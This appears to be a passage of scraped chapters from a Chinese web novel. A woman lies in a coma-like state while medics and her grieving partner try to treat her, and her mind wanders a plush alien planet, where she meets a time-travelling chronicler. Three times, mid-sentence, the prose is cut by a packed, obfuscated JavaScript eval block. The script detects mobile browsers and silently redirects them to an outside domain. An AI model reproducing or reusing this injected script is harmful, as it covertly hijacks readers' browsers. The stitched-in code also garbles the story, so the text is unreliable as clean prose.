“我们的研究小组还没有任何进展。”沈佳妮看着设备上的数据,有些头疼的发言。 她瞥了一眼李唯一,只看到对方的背影,不知道李唯一究竟是什么表情。 李唯一的负面精神力对其他人的压迫感实在太强,极其影响他人的身心状况。 沈佳妮并不想经历第二次,她暗暗祈祷希望李唯一能控制好自己的情绪阀门。 虽然她很感慨这个治安队长对自己妻子的重视和爱意,但她也是真的讨厌蛇。 作为一个医疗治安官,她本身的异能就是偏辅助系的,在抗压这方面,只能说还有很大的进步空间。 “我的建议是,现在应该让小组成员介入……”谢春花犹豫的说道。 她站在病床的另一侧,可以完整的看到李唯一的面貌。 女人脸上没什么表情,只是那双眼睛一直盯着李乐生的病容,病床上的女人还睁着那双空洞的眼睛。 就像是一双玻璃珠,你若是凑得进了能在那双玻璃珠里看到自己的模样,能看到那双珠子中倒映着天花板上的灯光,但也只能如此。 李唯一弯下腰,白发随着她的动作垂落,遮挡着她的侧颜,谢春花只看得到她挺拔的鼻尖。 女人伸出手抚摸着爱人的脸颊,带有平常体温的脸颊依旧是软的,薄皮之下的血色一如既往,然而她的精神力探究不到一丁点对方的意识活动。 一滴晶莹的水珠忽地砸在了李乐生的眼睑下方。 谢春花眨眨眼,忽地明白过来,是李唯一的泪。 “治疗吧,拜托你们了。”李唯一直起身子,转身向房门外走去,并不想让其他二人看到自己流过泪的模样。 谢春花和沈佳妮对视一眼,又听到门口的李唯一说道,“我去和上层交涉,让他们解除对基地治安官的限制。” 这话的意思就是,让小组其他的成员恢复自由,加入到这次的治疗中。 自上次李乐生出事后,医疗院以沈佳妮为首其实就组成了团队研究这个特殊病例,但没有丝毫进展。 而此次李乐生再次发病,客观意义上其实让整个团队都多了一次实操研究的机会。 她们作为医生自然不会因为这种机会而高兴,这是很无情很没有人性的想法,尽管是为了治疗李乐生,但一知半解的参与到这个病例中,无论主观如何,行为上已经构成将李乐生当成试验品的事实了。 这便是谢春花犹豫的原因,李唯一对爱人的保护和疯狂她们都看在眼里,不一定会同意这个提案。 哪成想,这次李唯一竟然很平静,不仅采纳了她们的建议,还主动提出去和联邦沟通,解除限制让小组成员回来。 “麻烦你了,李队长。”沈佳妮喜上眉梢,心道李唯一关键时刻还是可靠,一点都不掉链子。 对方没有回话,沉默的推门而出。 此刻,门外面,闪耀正靠墙候着。 见到李唯一出来,闪耀站直身体,与李唯一对视。 她正要开口,李唯一却先说话了,“请帮我连接会议厅的诸位上官。” 闪耀眯眯眼睛,李唯一继续说,“我的爱人躺在里面,在没有得到准确的诊断结果之前我不会离开这里,麻烦闪耀队长联系会议厅,我需要和联邦上官以及治安部部长交涉。” 李唯一的手环已经被她毁了,谢春花和沈佳妮监护室里工作,她自然只能向门外的闪耀寻求帮助。 “稍等。”闪耀一肚子疑问,但没有问出来。 她的任务首先是监视这堆人并时刻向上级报告,现在李唯一的行为相当于自主上报,她自然愿意提供帮助。 打开手环,女人拖着悬浮框拖到李唯一面前,手指又在上面点了几下,打开了联络频道,一个又一个巴掌大的小悬浮框分别出现在上层,自然是联邦总部的那几位负责人,还有诺城治安部部长安娜。 “闪耀向几位联邦负责官报告,监视对象李唯一请求主动交涉。”说完后,她又靠墙站好,示意李唯一开始。 【绿森】的用户框亮了起来,“说吧。” …… 李乐生只觉得无聊透顶,枯燥烦闷。 身无一物的她不知道自己在这个毛茸茸的世界里待了多久。 明明是白天,可是抬头四处张望,她看不到太阳,低头也看不到自己的影子。 她在这林子中漫无目的的转悠了许久,终于钻出了这片毛绒林,入目看到的却是一大片平坦开阔的绿色草原。 说是草原,其实也是毛绒所制,偶尔也能瞥道基多绒花生于地面。 看着就暖和。 就算这是天堂,也太单一乏味了。她想。 “啊啊啊啊啊——”李乐生忍不住喊了起来。 “有没有人!!!!”她用尽全力喊出来。 干巴巴的声音却并没有传播太久。 李乐生叹了口气,整个人倒在地上,软绵绵的地表摔下去就跟摔床垫子上似的,全然不怕后脑或是肩膀等地被撞疼。 她眼睛望着天幕,看了好久,在这个世界中,也就天空不是毛织的了。 但是一望无垠的蓝中,看不到一丝云朵,也找不到太阳,看的时间长了,也就那样。 李乐生不由得想起以前的事情来打发这种无聊的时刻。 以前无聊,或者孤单的时候,她是用看书度过的。 无论别人如何说,她确实是靠着学习和阅读,让自己熬过了痛苦的那几年,并且也培养了拿学习当游戏玩,拿考试当副本闯的特殊爱好。 她又想起爸妈来。 “我现在死了,他们知不知道呢?”李乐生嘟囔着。 以前也不是没看过穿越类的电视剧小说,什么魂穿啊身穿啊设定的还挺多。 在厄斯星的那段日子,天天都有事做,不是在锻炼的路上就是在学习的路上,还真没怎么想过以前的世界。 现在什么都干不了,她忽然在想,她穿越过来这么久,那以前的世界是什么样的? 还是一分一秒,一日一夜的继续吗? 还是在她穿越的那一刻,时空就暂停了? 时空穿梭相关的知识实在太复杂了,涉及物理学,她在厄斯星也不是没了解过这东西。 毕竟【跃迁】也属于其中。 但她也就知道个皮毛,那些深奥的具体的运行原理还是没有啃烂。 她死的时候自己都没有感觉到,现在来了这里,除了无聊外也没什么大问题。 “要是我爸妈知道我已经死了,会不会难过呢?”李乐生转着眼珠子,脑海中浮现出家里的陈设。 其实家里的装修已经翻新好几年了,但是她记忆最深的家,竟然还是童年时那个审美有点土的陈设。 比如她的奖状贴满了整面墙,每次都是妈妈贴的。 直到后来贴不下了,妈妈就把那一面奖状又都撕下来保存在一个箱子里,墙皮上还留着胶带的痕迹。 “我怎么死的呢?”李乐生又回想起自己最后的记忆来。 那个干净空旷的会议厅内,会议桌上的众人,面前的李唯一,侧面站着的闪耀和林她们。 她当时还阴阳怪气沃特呢。 记忆只停留在这里,再熟悉不过的画面了。 啊~ 也不知道李唯一现在是什么样子。 应该会很伤心吧?说不准还会哭。 李乐生眨着眼睛,脑海中铺满了李唯一的模样,不知道她有没有全尸哦。 李唯一会因为她的死和别人打架吗? 要说她为什么这么笃定自己死了?因为她现在的感知很奇怪。 尽管不知道自己到底来了这里多久,但她不渴不饿也不困,而且她还用力捏了一下自己的脸,倒是能感知到手指触碰脸蛋的触感,可无论如何用力都捏不痛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120489|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一般来说,如果人死后有灵魂的话,好像就是没什么痛感来着。她靠着自己那并没有任何实证的听说得来的消息判定。 毕竟她也没见过几个死人的灵魂。 “网文诚不欺我,科幻的尽头就是修仙。”李乐生吐槽道。 但是随便来个什么东西啊! 灵魂会不会死?她能不能投胎? 难道要永无止境的在这里的待下去吗? 唯一能打发时间的就是走路走路走路,她又不是来刷微信步数的! “有~没~有~人~啊~” “来~只~鬼~也~行~啊~” 李乐生的声音倒像是孤魂野鬼。 “哎?竟然有其他人在?”女孩清脆悦耳的声音就像是铃铛,传进了李乐生的耳中。 李乐生迅速坐起身,侧转过身子,看到在她身后右侧不远处站着个笑嘻嘻的女孩。 女孩戴着一个圆框眼镜,一头高马尾扎在脑后,又长又浓密的黑发呈波浪状垂在脑后,像极了她幼年见过的洋娃娃的头发。 对方穿着件红色的短袖和棕色的背带长裤,脚上是一双作战靴样式的黑色鞋子,腰间还绑着一条和裤子颜色差不多的腰带,上面各种腰包。 她那双黑色的大眼睛见到李乐生时,满是惊喜。 “你好啊?”那女孩走过来,李乐生这才发现对方身后还背着个旅行包。 天堂里也能旅行吗?李乐生不禁疑惑。 “你好。”她激动的抬起右手,像上课回答老师问题的学生一样。 李乐生又赶紧从地上爬起来,脸上又惊又喜,“我是李乐生,呃,请问你是?” 女孩却没回答,而是围着她转了一圈,嘴上还不住的“哇来哇去”,又“哎?”又“咦?”的,一会惊讶一会皱眉。 鬼灵精怪的。 李乐生不知道对方为何如此,但也没有什么不适,便乖乖待着由对方转圈打量。 那女孩转了一圈又一圈,最后面对着李乐生停下脚步,挺身抬头,咧着嘴笑道,“你是地球人啊?你怎么过来的?” 李乐生“啊?”了一声,没反应过来对方的意思。 女孩却兴致勃勃,继续说话,“你们地球第四纪元的时代,应该没有培养出穿越时空的科技树呀?为什么你可以来到【莱恩星】呢?” “这里可是二维时空呀!你们属于三维时空,根据记录,你们地球这时候的宇宙空间探索技术只停留在太阳系内,连银河系都没有探索玩呢!” “你怎么会来到这里的?难道你们地球有隐形科技树吗?”女孩一股脑的问了好多问题。 “莱恩星?”李乐生立马捉到了一个关键词。 “对呀!这里是莱恩星呀!生活着一群二维时空中的毛绒人,它们很可爱的。” 李乐生脸色却逐渐凝重,这里不是天堂,是别的星球。 而这个星球,她认识,确切的说,她前不久才了解过。 【布偶人】的原名就是【莱恩星人】。 她是真的穿越到了另一个星球! 这到底是怎么回事?李乐生傻眼了。 “嗨!嗨!” “你怎么啦?是饿了吗?”那女孩见李乐生表情不对,连忙关心道。 还从自己腰包里取出来了一包不知道是什么的吃食,递给李乐生,“要吃一口吗?” 李乐生回神,摆手拒绝。 又问那女孩,“你还没说你的名字呢?” 女孩将东西放回包里,不好意思的笑着,“啊呀!我没有说吗?” “真对不起,我光顾着研究了。”女孩吐了吐舌头,随后伸出手,“你好,我叫沈铎!来自【厄斯星】,是一名星际旅行家。” 听到对方的名字和故乡时,李乐生抬起的手停在原地,那双眼睛不可置信的盯着女孩。 沈铎仍在笑,“我的妈妈,祖父,太奶奶等等,都是旅行家哦。” “咦?你怎么啦?” “嗨?” 面前的人担心的在她双眼前摆手,但李乐生觉得她脑子要炸了。 42. 第 42 章 鬼灵精怪的星际旅行家少女蹲在星光河岸边,手里正拿着厚厚的本子和记录笔,兴高采烈的记录着星光河里的景致。 静谧流动的河流没有任何声音,与李乐生所见的不同,莱恩星的河流里装载着许多闪闪发光的石头,多是菱形,高细矮宽各式都有,那些石头呈透明色,石头中间却藏着一股股浅色的光源。 这些石头顺着河水的流动时,那些光也跟着旋转移动,透过水的波纹放大了柔光,色彩斑斓,璀璨夺目。 沈铎将本子放在旅行包上,那只黑色的看似平平无奇的记录笔被她转动尾端,随着她的手在本子上一画,很快就出现了一副星光河的考察照片。 紧接着尾端又转了回去,女孩在本子上写下了她的考察日期、地点。 忽然,她又抬起头看向李乐生。 猝不及防对上沈铎的眼睛,李乐生一顿。 “我可以拍一下你么?”沈铎晃晃手中的记录笔。 李乐生没有拒绝,点头表示同意。 就见女孩冲她灿烂一笑,随后低下头,转动尾端,她的照片出现在了星光河那张照片的下面。 完全不知道是什么时候拍的。 “嗯……你的名字是李乐生对吧?”沈铎虽是在问,却没抬头,自言自语的已经将李乐生的名字写下,后又是李乐生的性别、故乡之类的。 “好啦!今天的工作结束啦。”沈铎将本子合上,连带着都放进了右侧的腰包里。 这才站起身来,女孩吐了口气,这才略微严肃的看向李乐生。 “你身上感觉有好多秘密哦!我们聊一聊吧!”表情虽严肃,但沈铎的眼睛里却是好奇与兴奋,连声音都是上扬的调子。 李乐生正有此意,点头同意。 知道自己不是死了,而是穿越到了另一个地方,现在总算遇到了一个能说话的人,她当然愿意聊。 而且这人还是厄斯星人,就更值得一聊了。 不仅要搞清楚为什么这个人可以从厄斯星出来,她还想问问对方能不能帮助她,带她一起返回厄斯星。 她实在是没招了,眼前的沈铎堪称救命稻草。 “太好了!” “介于是我提出来的这次谈话,所以我先详细并隆重的介绍一下我自己。”沈铎双手啪的一下在胸前合十拍响,随后十分坦诚的将自己的身份娓娓道来。 她对外所言是星际旅行家,但在星际联邦的官方称呼其实是【记录官】,并且是世代传承的官职。 记录官的职责就是要在各个时空的星球旅行,并且在不违反当地星球以及所处时空规则的前提下,记录当地的实况。 待旅行归来,便要将她们旅行所记载的一切都上交给图书馆。 沈铎现在是成为记录官的第二年,关于地球第四纪的时空,是她的上一代所记录的。 记录官们与其他人不同,她们的大脑连接了星际图书馆的终端知识库,并且植入了智脑解析系统,智脑可以帮助她们储存很多知识并且将知识库与记录官本人的情感库剥离,这样便不会让脑子超负荷,也就是俗称的不会发疯。 地球第四纪的时空,约有六百万年的发展史。 在这一时间内,这个星球出现了一次自我更新,地球的高智慧物种,便是在这个时期出现的。 也就是地球人类。 新种族的生存与发展,无论放在什么时代,都足够引人注目。 在沈铎之前,已经有好几个记录官记录了关于地球的实况并上传到了她们的智脑里提供给图书馆。 她们可以百分百的肯定,直到地球第四纪结束,这个星球的科技都未能参透【时空跃迁】,对宇宙的探索也从未突破银河系。 所以李乐生能够出现在二维时空的莱恩星,着实是个不可能的事情。 “你们星球有【伪装外衣】?将科技树的进程掩藏了吗?” “你的身体数值也好奇怪哦!我一点都看不透。哦不好意思,不是故意隐瞒的,我的眼镜自带扫描系统,现在告知你。” 女孩指指自己的眼镜,并不是很走心的道歉。 李乐生没有因为对方这略微散漫的态度有所不满,她已经发觉了,这个女孩拥有着很强的探索欲,关于社交来往是不在意的,兴许别人对她态度不好她都不在意,只要能满足她的探索欲就成。 而且当务之急,什么说话好听,礼貌都不是最重要的。 她察觉到了一个很不同的点—— 这女孩来自于星际联邦统治下的厄斯星。 而厄斯星在一万年前,被联邦污蔑为反叛星,全球居民被判处流放废土星球。为求自保,星球组成了反抗军,反抗军抵抗着联邦的军队,给星球争取了逃亡的时间。 现在的厄斯星,只有星球内部组成的中央联邦。 也就是说,她和沈铎,在横向时间上,不属于一个星球。 想通这一点后,李乐生脑子倒也清醒了很多,穿越嘛,不同时空的人相见常有的事。 她的承受能力就是这样,跟跳楼机一样,忽高忽低,上下限都极端的可怕。 忽地,她立马想起来,在沈铎的世界里,厄斯星还是星际联邦管辖的星球。 如果她提前把厄斯星被污蔑的事告诉沈铎,让沈铎回去上报给高层,是不是能让厄斯星躲过一劫? “沈铎,我要告诉你一件事——” 女孩见李乐生只沉默的看着自己,脸上又不住的变化表情,对其脑子里究竟想什么甚是好奇。 忽听到李乐生如临大敌般的叫她,连忙打起十二分精神来。 结果李乐生的话又停住,就像是记录笔打印照片打印到一半卡壳了一样。 “怎么啦?怎么又不说了?”沈铎连忙问,一脸失望。 李乐生此刻脑内却是天人交战,常说蝴蝶效应,她如果说出来的话,对于厄斯星的未来,究竟是拯救,还是更大的劫难呢? “你的智脑,拥有记录功能吗?”李乐生又问。 沈铎点头。 李乐生想起沈铎说过,智脑是和星际图书馆的知识库连接的。 “那你为什么还要用笔纸呀?”李乐生没有太直接的问沈铎【智脑的记录方式】,而是换了个问法,“智脑已经帮你记下了,用笔纸岂不是多此一举?” 沈铎有些单纯,二人见面这短短时间,李乐生只说了个名字,对方却已经将全身家当悉数告知了。 对不起,我不是故意的。李乐生在心里给小姑娘道歉,但她真的不得不谨慎,如果星际联邦从她嘴里知道了一些不该在这个时候知道的东西,而影响到厄斯星,那她就真的是罪过了。 “这是我从其他朋友身上学习的,纸笔记录虽然多此一举,但是我很喜欢这种痕迹。而且这样子我也可以送给别人,或者将其留在我的星球。”沈铎果然没有细究李乐生问题背后的原因。 大大方方的将自己的想法和做法说出来,“我的智脑虽然时刻都会通过我的视觉与听觉记录周遭的一切,但是当我死后,智脑要被回收,是不能留在厄斯星的。” 说到“回收”的时候,沈铎肉眼可见的遗憾和失落。 李乐生听到后却是长舒一口气,还好她及时刹住车了,嘴巴没那么快。 如果刚刚说出厄斯星的遭遇后,被智脑捕捉到直接上传到星际图书馆,很有可能被图书馆的联邦人员发现。 他们发现后,到底是会帮助厄斯星还是先人一步将厄斯星毁掉呢?李乐生觉得后者的可能性更大些。 她一向喜欢预设最糟糕的结果,虽然这种做法被很多人称作是杞人忧天,但也有人说是未雨绸缪。 “那你岂不是没有隐私哦?时时刻刻都有智脑记录,我想象不来。”李乐生还真设想了一下自己的脑子里装个类似的东西,一天二十四小时,她干了什么都会上传到别的地方,别人可以随便观看。 太恐怖了。 沈铎却对此并不在意,耸肩微笑,“记录官也不需要隐私呀!身为记录者,我们的身心就是奉献给联邦的,生死都是。” 李乐生:“……真佩服你们。” “对了!你还没告诉我为什么你能来这里呢?”沈铎被李乐生套了许多话也不自知,只再次提起自己一开始好奇的事来。 李乐生回答,“我也不知道,我睡了一觉,等我醒来的时候,就成这样了。” 她并不打算告知沈铎她是从厄斯星来的,反正最开始就是地球穿越的,直说地球也没错,“我记得我被公司辞退了,然后失魂落魄的等公交,雨当时下的特别大,公交车嘛每一趟人都很多,我靠着站台昏昏欲睡,突然张开眼,就发现来到这儿了。” 李乐生上一秒编造下一秒说出口,说的还挺流利。 沈铎盯着她的话,智脑已经开始将【公交车】的资料传给了她的脑子。 “哦哦~这样啊。”女孩又将笔和本子拿出来,失落的打开,记了两行字。 【穿越原因未知。】 【好伤心好难过好不喜欢这种感觉】 当着李乐生的面,记完后还特意张开递到李乐生面前让女人看看。 李乐生愣了一下,不知所措的笑了笑。 就见沈铎叹了口气,嘴巴撅着,“我一定会搞清楚你穿越的原因的!” 李乐生心中一惊,不会要用强的吧? 比如那种记忆扫描器之类的。 对方要是用强的,她能反抗吗? 女孩却是将本子和笔放回腰包里,再次明媚一笑,“你现在也没有什么事,就跟我一起待着吧!说不准我就能搞清楚啦!” 李乐生应下。 她又大着胆子问,“你能带我回厄斯星么?” 沈铎却摇头,双手摆着,表示拒绝,脸上却是不忍,“不可以的。” “虽然你是地球人,但在我来到莱恩星之前,你已经在这里了。无论你是因为什么原因来的,都是宇宙规律允许的,我是记录官,离开的时候不能带走任何东西,尤其是活物。” “好吧。”李乐生有些失落,心中隐约泛起点伤感来。 要是回的是地球该多好。她的眼睛有些发酸。 两次不受控制地穿越,并且自己都处于一种无力抵抗的弱小情景,思索至此,她压抑许久的那点愁苦情绪开始冲撞她的理智。 等沈铎走后,这里应该就又是她一个人了吧? 她之后又该如何呢? 是待在这里一直到死么? 还是又莫名其妙的穿越,运气好的话,回到地球? 她还能再见到李唯一吗?还有林,早上她还想要和林说清楚,让对方不要因为自己的【假死】自责,结果话也没说出来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123200|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 以后的时光,得多难挨啊? “别伤心啦!”她跟着收拾了行囊的沈铎沿着星光河岸游走,女孩忽然开口。 李乐生的思绪被打断,她看向沈铎,却感觉到自己脸颊上几处湿凉。 李乐生抬手,下意识地想要擦眼泪,可是抬手抚摸,却没抚摸到任何东西。 她还以为她哭了。 明明鼻腔发酸,胸口沉闷,自己那泪失禁的体质到此刻竟然失灵了。 “我的表情这么明显吗?都能被你看出来?”李乐生问。 沈铎摇头,“不是表情,是你情绪的气味。” “情绪的气味?”李乐生疑惑。 沈铎点点头,“很多星球的物种都会拥有情绪系统,哭笑哀乐的时候,情绪系统其实是有味道的,但是这种味道大部分人都察觉不到。类似于花香,香味传播其实是分子运动,情绪的味道就像分子一样往外发散,只是过于薄弱,甚至比空气还要弱,所以人们察觉不到。” 李乐生:“那你怎么能闻到?还有,伤心是什么味道?” 沈铎仰头思索了一会儿,“你的味道很明显,就像是情绪系统直接暴露在我面前了。这个味道我也说不清,但是闻到后搞得我也想哭,我就知道你在伤心了。” 李乐生听到后用心看了眼沈铎的脸,才发现对方的眼眶略有些湿润,像是要哭了。 “不好意思,我不是故意的。”李乐生赶忙道歉。 “我克制一下自己的情绪。”女人又不好意思的补充了一句。 沈铎揉揉眼睛,满意的“嗯”了一声,便带着李乐生继续前行。 她又开始和李乐生聊起来,单方面但是很快乐的同李乐生分享起她旅途中的一些趣事来。 “你告诉我这么多,难道不怕影响到我么?”沈铎说到自己在联邦生活时的经历,李乐生不由得问出了声。 按照沈铎之前的话来说,记录官不能影响到当地的发展。 现在却让李乐生这个地球人知道了很多认知范围外的事,怎么看都已经是破坏规定了。 沈铎吐了吐舌头,“我忍不住嘛!” “而且联邦规矩没有那么严格的啦!只要不是影响力特别大,不会追究我的。”女孩摇头笑着。 事实上,在她的知识库中,对于宇宙各地发展的规律都有一个共性:一个世界的革新、改变,绝非是一人之力就可行的,也并非外因决定的。 她只是告诉了李乐生一些超前的事情,但并没有赋予李乐生相应超前的科技和能力,对方又能改变什么呢? 星际图书馆的知识库与智脑的解析系统结合起来,沈铎能第一时间判断出她所说的话会不会成为交谈者的武器。而李乐生的故乡科技,和李乐生现在的处境,都证明了一点,对方主客观上都没有掌握硬性的科技实力,她所说的话于李乐生而言,就和阅读科幻小说一样,只能看看,实施不出来的。 沈佳妮不知道李唯一到底和联邦是如何交涉的。 小组成员没过多久就全部赶到了重症监护室,而且整个治安基地的限制状态也被解除了。 谢春花并不属于她们的团队,还要回去继续和母树交流,她试图将今天的事告诉母树,看看能否获得一些新反应。 待到沈佳妮的团队来了后,便离开了。 “脑神经依旧没有任何活动迹象。” “不过身体细胞的分裂繁殖一直在运动,我们需要给她提供营养剂,因为她的肠胃功能也在运动。” “沈组长,我申请使用异能连接大脑,刺激大脑,看是否能有效果?” 组员们七嘴八舌,相继汇报。 沈佳妮站在观察室内,中央的工作台上正投影着一部人体模型,那是完全参照着李乐生的身体数值所建立的。 此时她们正考虑着好几个手术方案,但都没有实施。 有人提出读取李乐生的所有记忆,参照记忆系统重建一个智能大脑将其与李乐生原先的大脑替换。 沈佳妮直接将其驳回。 先不提这种数字大脑能否产生一个完整的人格,就李唯一那关都过不去。而且因为李乐生的脑神经处于死亡状态,脑机设备根本没有办法读取一个死亡大脑的记忆。 “现在她的大脑死亡,就像是自然界的伪装者,我们的仪器被大脑的伪装外衣骗了,她其实还活着。”副手的女医疗官说道,“那如果我们给她的身体制造危险,让她的大脑知道自己濒临绝境,会不会撤销这种【伪装状态】呢?” 此言一出,观察室内几人都沉默下来。 这个方法看似无厘头,但是如果结合到那些带有伪装外衣的动物身上,感知到危险的它们一般会放弃伪装逃离,的确是有这种效果的。 沈佳妮皱着眉,“这只是一种猜测,我们没有任何实证。” 况且,李乐生的大脑为什么会出现所谓的【伪装】呢? 出于危险隐藏自己? 但是连接两次,状况都不一样啊。 “哭了。”有人忽然叹道。 “这有什么好哭的?”副手连忙回话,“我还没干呢。” “我是说,李乐生哭了。”那人站起来,指着眼前的屏幕。 所有人闻言望去,见到监控画面上,眼神空洞的李乐生,眼眶之中的泪水涌出眼尾,落入枕间。 43. 第 43 章 在这颗梦幻般美丽的毛绒星球上,两个外星女性一前一后站在河岸上。 背着旅行包的女孩走在前方,她的头发茂盛浓密,似是海浪般绑在脑后,随着她跳动的步伐,□□也在起伏舞动,甚是漂亮。 身后跟着的女人相比这位星际旅行家来说,穿着打扮都很是朴素,一身黑的长袖长裤,那头黑发束在脖颈后方,只额前留着几缕垂下来的发丝。 二人沿着星光河走走停停也不知过了多久,李乐生只知道沈铎已经吃了两个胶囊糖果了。 刚开始的畅所欲言,主要是沈铎单方面的分享,到现在也变成了沉默。 气氛倒没有因此变的多尴尬,只是沈铎这段时间更专注于自己的手札本和记录笔,沿着星光河走到后面,她们俩已经看到了更多的毛绒植物,并且此时天空还变了色。 原本一望无垠的纯蓝色此时出现一道道白色的痕迹,正从东面向西方划过。 李乐生当然不知道这个世界的东南西北究竟是哪个明确的指向,她只是根据自身的朝向判断了一个相对位置。 那些白色的痕迹就像是飞机留在天空中的轨迹,不停的延申变长,李乐生注意到天幕上这些白色的轨迹边缘十分的……蓬松。 沈铎许久没说话,也是在不停的观察着这些【白痕】。 【白痕】 她单方面取得名字,尽管并不知道这些白痕究竟是什么,但本着记录官的职责,她自然要记录一下。 抬头仰望,两只眼睛盯着那天空的异象,手中的记录笔同样举在胸前一起记录,埋藏在瞳孔中的智脑的扫描系统此时正以极高速度的运算方式将天上的那一幕幕记载下来。 李乐生静静的待在一旁,没有去打扰沈铎的工作。 她看了没一会儿便低下头揉着脖子,这白痕一直在飞,飞的时间够久了,但却没有其他变化,她都看腻了。 李乐生转头望向四周,两人走到了一片类似荒漠的地域,这星光河却还一望望不到底。 土黄色的绒毛地表比之前踩得地表都要更软些,而且还更暖和些。 沈铎说这里是二维世界,是以【规则】为主导存活的世界,这里的物质存在方式与地球是完全不同的,所以让她不要试图以地球的物理思维来理解这里。 李乐生表示自己明白。 然而真的坐在这片“荒漠”上,感受着那微微发烫的温度,她的手又往后移了点,抹上那界限分明的“草原”,却没有温度。 果然还是太奇怪了。李乐生想,难以想象如果有一群物理学家穿越到这里会疯成什么样? 这下是真的物理学不存在了。 话说为什么在这里没有见到布偶人呢?李乐生躺在地上静静的等待沈铎结束工作,脑子里却想起了【蓬蓬】,她来到这里,绝对是和蓬蓬脱不开干系的。 只是她到现在都想不明白,到底怎么来的? 而且,还有一件事她更想不通—— 她的身体出了很大的毛病。 李乐生是个极爱喝水的人,而且她时常会感觉到口渴。 但是在莱恩星上,她估摸着待了至少有两个小时了。 可她一点都不口渴,而且走了这么长时间,腿脚也不累,依旧身轻如燕、步履生风。 实在奇怪。 李乐生暗中观察了好几次自己的身体,四肢是完好的,后来她发现自己竟然摸不到脉搏,连心跳都感觉不到。 而且当她的手抚摸着自己的脸时,竟然感受不到彼此的温度,可是她的脑子却明显的能感知到周围的一切,所谓风向、温度、声音,都可以。 可是她自己,她连口腔内分泌的唾液其实都没有。 简直就像个会说会动会思考的假人。 为什么会变成这样?李乐生在心中暗自思索,却不敢将这件事告诉沈铎。 “啊!原来这是莱恩星的雨季呀!”沈铎忽然出声。 李乐生立马回过神来,抬头望天,恰巧一抹白色轻轻的落在她额头上,那毛茸茸的白色球状坠落体在额头上弹了一下,就像是鹅毛。 随后顺着她的鼻梁滚下来,轻擦过她的嘴巴,又从身上一直滚到地上。 李乐生的眼神也随着这白色绒球移动,她的黑衣服上竟然留下了一行类似蒲公英花絮的痕迹来。 紧接着,一个又一个白色绒球由天空落下,它们纷纷坠落在地上、河水中,或是二人的身上又滚落下去。 李乐生的手中甚至还接住了一个。 她捏了捏,好软。 一旁的沈铎此时高兴坏了,激动的双手张开,左一下右一下的接着那些从天而降的绒球。 “好像没有生命迹象,可以带回咯!”女孩的记录笔扫描了一阵,没有发出生命预警,沈铎立马从包里拿出一个小型胶囊。 那胶囊被她掰开一个缝隙,蓝光乍现,将手中的绒球笼罩住,随即回收起来。 沈铎再次将胶囊合上,放回腰包里。 紧接着又开始连忙在本子上写写画画,神情十分兴奋。 李乐生有些羡慕的看着沈铎,嘴角都浮现出一抹自己没有意识到的笑容。 她觉得这女孩就像一个行走的小太阳,活力四射,十分具有感染力。 让她这个曾经深受工作折磨、一身班味的牛马都产生了一种向往,原来做一件自己喜欢的事,是这么开心的。 沈铎是厄斯星人,但是又为星际联邦的图书馆工作。 如果她知道自己的母星被星际联邦法庭判为有罪星球,会有多难受呢? 李乐生忽然想起厄斯星如今的处境,再看沈铎的那张笑容,莫名的难过起来。 “沈铎……”李乐生五味杂陈,那只手掌摊开略微朝下,绒球自然滚落在地上。 她叫了声沈铎的名字,女孩转过头来,那双大眼睛灵动闪烁,“嗯?怎么啦?” 李乐生轻声问她,“你爱你的母星吗?” 沈铎毫不犹豫地点头,“当然!” “那我冒昧地再问一个问题,你的母星和星际联邦,你更爱哪一个呢?”李乐生询问。 沈铎听到这个问题愣住,她注意到李乐生眼中有一股隐忍的伤感,她不明白女人为什么会这么看着她。 只是听到这个问题,沈铎一时半会竟也给不出一个明确的答案。 她很爱自己的母星,但是愿意为了图书馆而死。 这是记录官的使命,星际图书馆的知识库是共享给每个联邦管辖的星球的,无论贫富,无论物种,这是一项十分伟大的、无私的工程,能将自己的生命奉献于此,是每个记录官的荣幸。 这种荣幸与满足感,应该是爱吧?是吧? 沈铎的脸上有一种迷茫,就像是长久以来的固有认知被撬动,一时半会无法无法思考似的。 李乐生知道对方陷入了纠结,“在我的家乡,我的母星,她的历史上,有很多国家建立。” 李乐生的话让沈铎的注意力移开,她静静的听着李乐生说话。 这还是二人见面以来,李乐生第一次主动的谈及地球上的事。 要知道,前一代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140525|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记录官对地球知识的记录只有宏观上的纪年,却没有详细的生物种族和生物社会的知识。 李乐生现在愿意和她聊,沈铎自然开心。 李乐生思索了许久,用着一种半真半假的谎言传递消息。 “有很多大国,它们的人种是十分丰富的,按照肤色,黑白黄三色的人都有,按照民族,那更是很多。国家与国家之间在历史上经常开战,为的是抢夺资源以供自己的国家和人民发展。” “但是当世界暂时进入和平后,许多大国常常会有内乱。” 